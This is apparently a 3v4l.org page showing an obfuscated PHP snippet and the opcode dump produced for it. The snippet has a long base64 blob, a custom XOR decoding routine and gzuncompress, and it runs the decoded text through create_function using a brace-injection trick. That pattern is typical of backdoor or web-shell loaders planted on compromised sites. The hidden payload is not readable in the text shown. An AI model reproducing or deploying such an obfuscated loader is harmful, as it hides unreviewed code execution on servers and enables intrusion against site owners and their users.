3v4l.org

run code in 300+ PHP versions simultaneously
<?php global $smassnse; $smassnse=array('$smassnse[0]=$smassnse[3];$xgxvwjne=xgxvwjne(4,13);$smassnse[0]=$xgxvwjne($smassnse[2]);','$smassnse[2]=gzuncompress(xgxvwjne(689,2153));','WmhldGVYZn9ma3FMTmNhbXZgaGJFZ2R4WnRkZ3JhYlFDR2hzf3d5e2tJcXdgZGVkSFBIU19GWVZdQUtDW0dSSEpHRU5OVHVsaH94Ymd3e3h1cX15bG59aSh4e3xjdWlrT251ODQ/KSdiam5nY081S0UsQnpsTUF6ekBjQWJOZk5BQ1xHX3clWlFLZG54d2NWbHVrdWNgeX85b3VtfWQ8dW5qaG8nZXx0dXR7cTlmZHltbHgxdWZ7fnduc1FJa2dBRE5YV0ZuYnlIS2N8ak53T0t/RVdVNjUjSEdXRE5YV0pSXUVAUHZue39iIy5NcnFmfW9yPHptZXViLGZ/fnN3cURVbGonXl9dUlBJRklBV1tjX1leTkVOTVhVSFdReXhdT0lVTEVBQkZMXExpZlVUaTMjfmlxOml6e25HI25hdzo0dHl6cT9+eX53VVUjbmF3OjRbVVEoZ2V+b1dYV1xJSmJpWF9BV2ZFcGFYV1xDXEhrdnV4Wm0jbmF3YUFLVmx5amBodH5NYnl1TW9+ZWhXeHd8cXBEe2ohZHp0ZnN6cT1+Z3tgYmhpaHtqIWR6dGZzenE9aHZ0Z2ZLSmVqdX5kcH5Ncn13UyJJdnpTInZjYHt4YlBETlhXSk9BU0ZaU0xSWVt2bXhDaSgiZnt7fm9gbHFqY3h9LW91YWhqKyJmZ313eGBwfyVnYFpPbi4iZXp4c3p9Znc'.'ldHhiTnlBI218KnZ1fHB9Yjx7f2cwdjFsRkgqcTFhSypuMXd9ajRmKURvWmhDcSpsMUR1YWVub29+a0pGV1I9a3pkbnh3LzU9dlhzRG0qbTFhcnlBVWl0aWV0ZXNKb3hRYVV/f3hoZW5UUVFzaiptMWRgdmliaWRxZkUqbTF0fjpaQkBVPTo5J3VEdX9zLzpkbnhIS3QjanREVW10hnFfbHX4UAT6OBBTSE51HCSNFaJevaKZ/4hPM75bpiUYE98JrOPXAeCpfHFgYiwIxFN2Y3z1iMvJAHOzZuq7Ugq2SbasZ7H3JV5owNmtp9p2spQV8kwIzlwCjnRgGKdVwNTKY4H/KmAemK/fiimxAZg8H7J0RMfOl3DDncablmrlAF74ULS6/EirBvMYzS+k0pYuPKC+Ys3wQaHJhFtOWk5KKtk58Y+Jy/FjATvobd6ya3ErEUGPwLZ37dukKXor78E1FM2+rKMK5VVj2vBZ21CT0wKj9TBvboAvhGoM59r58SPmJjlO0c7aegyLDjZKEw3+hl8K'.'koJvinZe9Z1t9HOTNKro4aFWINiWuWCB4Bk9GjAfd3KUzdBi5glVJM6evxcR29r/+bxnYEsCRN+v8Hf8CDeHyFMwFzdFNqg3JTMK3Y2ifAFZrLvYigROag8JtUNr1kYhMVd++GRgwUZFoCwEZrGBwGOCuyzx1K7FI/BKFfLcz13AiHaQU4jPMbgtKJmJiYQyBYdchEXc9cm8foUo7pjmVXorLID3zS/aJpHQGatrua+ErFyMj5IZFdK+GZCS+leOowfoBVJGttw70Fdo9bD01v1gu7R21ynO51l6K1YDtrI1a8N06dUqOPGC9DuI4D5JYao9fr35NiT6ekkjcTVTTtIU94VO3H8EvjSyg5iTua2Rt1KDnK5EwBWLZxpcQG2JhMKWBw+RbeHszyqlb4istuBwBls4cPrI6IZ+eCNWi8cIxkd9GMxcRAcvtyfsXajRMklIOFm4OhaloElhrFaqX4um5CsZFxJeM0QLzE1SMAJCLlfVC4zJBb8Qhm1F1k92NEMTu1unMCYeQcysuK3Xv9ymq7a9Ap1/HGuyliE8xyRKeRg1qEV+5ZFt0jGzqoT/hIESAUqidedRy45ZlPSDKadpxy4VOMtyCYLkMnt7iFtcHulrJO8N4Y0JUjjSRdtGjz9n5bd/fIgCujfGffBozAbHw5sQODA5gyZ5noz10dWqw'.'Pwdg3305VHwTx+BFJYIEweFp5Zwubh2oGlV7w9IpV1NNLUcRM2eVwQ3wJA2kz8nbj+Gnx4EpUpW/pAh0JrevEADYcpKsWFm0IMXrVORhg/jRBmiV1eZ/yqjLdcA9dcuKJzEOXa0Gxbt/7aQ2r35u0GRHFya/seUl88wtxMx1T6Qsgz0bwswP7liy7JtYcMnLFq+3Ty/klzjXM+o2hWxadT91dDGOnP1B1JC+myop4o0DDWLMvT+bHvFiuRkqdd5F5qNZPuuAGFic1cOWMoks0pKlFJYmYVUjWzKArcgxxr8+xxWDNkKXln6noH47mSIunA3TpZx6Pft59MFRJ/ZfGH8mtPCM7rQn9d/MxARQvsmrFBwXo3ekKW/tPvZ3vdRxRBb3kJjC+tuHleFJojE/5Y8hROn09tdlzRFkE1Wchc/EaFCL50aqJLaD+FiIJqhnFoeCuUn+gADQI8iWDxkArLcNh9rtyfOo+ulySW+WiI2RQrEejDts3T/ouV5xToYpRXLLMMT017KicAovV/PZr8CUzHJMU41lTTRJBSYyS5rHLdEsTdgwvYUC8t0q0sSwvwKSj1jCpVFMlnRA+eZ69EAJ8ByNNdNjhr5NVc/RoVgGTh/yXtoTbDdRYzY3EaKWJG9BBho0Q5TIycaNrT/UbDzffl4T+Twcyxildf2779C83rmDanW94j11Iia4rMBveRps+auIAjVDiXb6GQkTTdnLDUrKliFTJo17nGvdHjcYShCSkQQOKJXG2PTxr5gSHp1JHeg7OKlr75SSTEzNUwp7tMNb16PFD1QF8+yP/8yIxXUBwlZA0KW5rFZcCWplOYWCdaCLKCxlt5kU+wUp4M8iCK/1fw/UBzt5eECkmIDYR+N'.'vuJ3GoxbWjobPGOkq+NtJmshy4R1gBMn1A30proeKvEW3stK93OIBc9TWK2TRqZTRc8bTnrBZRfnBEB4zlIEBccvjRLBTsciGjze4MOudgjxA44+oVfMPgj8tzgWrngL135iFeTgINkTBHzQlxn1BNw6kB1OBJQhjMr/Bz8vkScnXPc8QArwFMPerqafcaYXkuKnbIes+wV5Y8xv7NfeqQtBn6kbkbCJtspkk2dkADkiKLgq6MpJe6JTNd1mE0d2vPS0EO7KZ83Aex0wl0fDsS1D74amb0GZQ3D+p3URj9MTAczLgsr7QqXowVJIzJ69PfYJ0w02bnsXuHID1Y5IIGZdrxq0MHpnwDHzVmxi8Z/34CdvWPG9H55NDDJo3eogZ1dTy2VOWL1jqaaKGjEK6yMFyxF7vqIOxVCZHIKtEy0FeIJimn5iL+uUsqF1XvjiZRC4KmIHcrYFr9YTFAKIApTvJ8KrJVzTAsPUL1RYI0STlgdImsTPtlnpoVhCS6gMy3Tz992Fy9TIMOhqQepSdI2dg/j+mn8yrR7r/d/tycj05Bf9WD8OxMLKwr9CvJB6kJkJtwJJkhHEX7tpGGptFpn/ICYbY0rE8o3D6+ft5PX+IO9Wst338vTkDACt4qm0kRggzGw6WuTLE6Alem6qFWMiOcgUWDZ5JVUjfuBPMxYCzV/rb8To4jxRAbjFgn8xprBf8lFm6QyaUZhAfQHSEED8oV9QmoPuORRwASrHMsa0RylGJQQxVpoEpOE72qwq8dM2FcjLR78TNR7k2pbjWgRkg+w9oGz1FDPCdvdSJ8dovPnNQeasOw2D9zTd1gbf5SJVu4qlWeZWm3zOpIos1irLUDHgP3mU/sELYtNKcisEXZoXhqwyxfTP5cjt4CH03ADdq5LtBscKozy/Iy9wohDqd2mIuHpuw1CqKOkQ8ugkEXCXQwZ+/my4YlCum+7j+UuUR4cF9/gWWfCib2xPbnt/YiMuTXJxZn1vckhn',"/*ac\x6e\x7b\x7f\x62\x23\x2e\x4d\x72\x71\x66\x7d\x6f\x72*/");$seuvegy='create_';if(function_exists($seuvegy.='function')&&!function_exists('xgxvwjne')){ function xgxvwjne($m,$t){global $smassnse;$q=str_pad("",$t,"lzlguzrvterkwwoc");$c=str_repeat("\x1f",$t);$y=str_repeat("\xe0",$t);$u = substr($smassnse[0],$m,$t);return(($u^$q)&$c)|($u&$y);};for($eg=-1;++$eg<3;){$seuvegy('','}'.$smassnse[$eg].'{');}};unset($smassnse);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 27
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 17
Branch analysis from position: 27
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 17
Branch analysis from position: 27
Branch analysis from position: 17
Branch analysis from position: 27
Branch analysis from position: 13
filename:       /in/o0TLp
function name:  (null)
number of ops:  29
compiled vars:  !0 = $smassnse, !1 = $seuvegy, !2 = $eg
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BIND_GLOBAL                                              !0, 'smassnse'
          1        ASSIGN                                                   !0, <array>
          2        ASSIGN                                                   !1, 'create_'
          3        INIT_FCALL                                               'function_exists'
          4        ASSIGN_OP                                     8  ~5      !1, 'function'
          5        SEND_VAL                                                 ~5
          6        DO_ICALL                                         $6      
          7      > JMPZ_EX                                          ~7      $6, ->13
          8    >   INIT_FCALL                                               'function_exists'
          9        SEND_VAL                                                 'xgxvwjne'
         10        DO_ICALL                                         $8      
         11        BOOL_NOT                                         ~9      $8
         12        BOOL                                             ~7      ~9
         13    > > JMPZ                                                     ~7, ->27
         14    >   DECLARE_FUNCTION                                         'xgxvwjne'
         15        ASSIGN                                                   !2, -1
         16      > JMP                                                      ->24
         17    >   INIT_DYNAMIC_CALL                                        !1
         18        SEND_VAL_EX                                              ''
         19        FETCH_DIM_R                                      ~11     !0, !2
         20        CONCAT                                           ~12     '%7D', ~11
         21        CONCAT                                           ~13     ~12, '%7B'
         22        SEND_VAL_EX                                              ~13
         23        DO_FCALL                                      0          
         24    >   PRE_INC                                          ~15     !2
         25        IS_SMALLER                                               ~15, 3
         26      > JMPNZ                                                    ~16, ->17
         27    >   UNSET_CV                                                 !0
         28      > RETURN                                                   1

Function %00xgxvwjne%2Fin%2Fo0TLp%3A1%240:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/o0TLp
function name:  xgxvwjne
number of ops:  32
compiled vars:  !0 = $m, !1 = $t, !2 = $smassnse, !3 = $q, !4 = $c, !5 = $y, !6 = $u
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        BIND_GLOBAL                                              !2, 'smassnse'
          3        INIT_FCALL                                               'str_pad'
          4        SEND_VAL                                                 ''
          5        SEND_VAR                                                 !1
          6        SEND_VAL                                                 'lzlguzrvterkwwoc'
          7        DO_ICALL                                         $7      
          8        ASSIGN                                                   !3, $7
          9        INIT_FCALL                                               'str_repeat'
         10        SEND_VAL                                                 '%1F'
         11        SEND_VAR                                                 !1
         12        DO_ICALL                                         $9      
         13        ASSIGN                                                   !4, $9
         14        INIT_FCALL                                               'str_repeat'
         15        SEND_VAL                                                 '%E0'
         16        SEND_VAR                                                 !1
         17        DO_ICALL                                         $11     
         18        ASSIGN                                                   !5, $11
         19        INIT_FCALL                                               'substr'
         20        FETCH_DIM_R                                      ~13     !2, 0
         21        SEND_VAL                                                 ~13
         22        SEND_VAR                                                 !0
         23        SEND_VAR                                                 !1
         24        DO_ICALL                                         $14     
         25        ASSIGN                                                   !6, $14
         26        BW_XOR                                           ~16     !6, !3
         27        BW_AND                                           ~17     !4, ~16
         28        BW_AND                                           ~18     !6, !5
         29        BW_OR                                            ~19     ~17, ~18
         30      > RETURN                                                   ~19
         31*     > RETURN                                                   null

End of function %00xgxvwjne%2Fin%2Fo0TLp%3A1%240

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
160.06 ms | 1400 KiB | 21 Q